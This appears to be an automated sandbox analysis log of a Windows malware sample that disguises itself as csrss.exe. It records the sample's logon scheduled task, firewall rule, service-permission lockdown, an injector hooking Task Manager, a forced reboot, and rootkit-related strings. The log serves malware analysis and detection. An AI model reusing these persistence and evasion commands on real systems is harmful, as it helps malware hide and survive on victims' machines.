Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn ScheduledUpdate /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s
Source: unknown	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s
Source: unknown	Process created: C:\Windows\rss\csrss.exe "C:\Windows\rss\csrss.exe"
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5
Source: C:\Windows\SysWOW64\shutdown.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\windefender.exe C:\Windows\windefender.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\windefender.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\windefender.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Source: unknown	Process created: C:\Windows\windefender.exe C:\Windows\windefender.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe /301-301	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to behavior
Source: C:\Windows\windefender.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Process WHERE Name = 'littleviolet.exe'

Source: C:\Windows\rss\csrss.exe

File created: C:\Users\user\AppData\Local\Temp\csrss

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6892:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6952:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6140:120:WilError_01
Source: C:\Windows\rss\csrss.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\h48yorbq6rm87zot
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\qtxp9g8w
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6840:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7080:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6384:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6224:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6796:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5496:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_01

Source: rlavBKPBEc.exe	String found in binary or memory: application/app/install.go
Source: rlavBKPBEc.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: rlavBKPBEc.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: rlavBKPBEc.exe	String found in binary or memory: application/app/install.go
Source: rlavBKPBEc.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: rlavBKPBEc.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: rlavBKPBEc.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: rlavBKPBEc.exe

Static file information: File size 4535848 > 1048576

Source: rlavBKPBEc.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x439200

Source: rlavBKPBEc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: rlavBKPBEc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: rlavBKPBEc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: rlavBKPBEc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: rlavBKPBEc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: rlavBKPBEc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: rlavBKPBEc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Loader.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: csrss.exe
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdb source: csrss.exe
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\mac\Desktop\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7x64\x64\Release\SSDTHook.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: .pdb.dbg source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdbGCTL source: rlavBKPBEc.exe, 00000001.00000003.267675971.0000000006183000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000003.296609860.0000000006243000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.528777153.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.369198131.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 0000001A.00000002.415690900.0000000005F54000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000003.368750125.0000000006803000.00000004.00000001.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
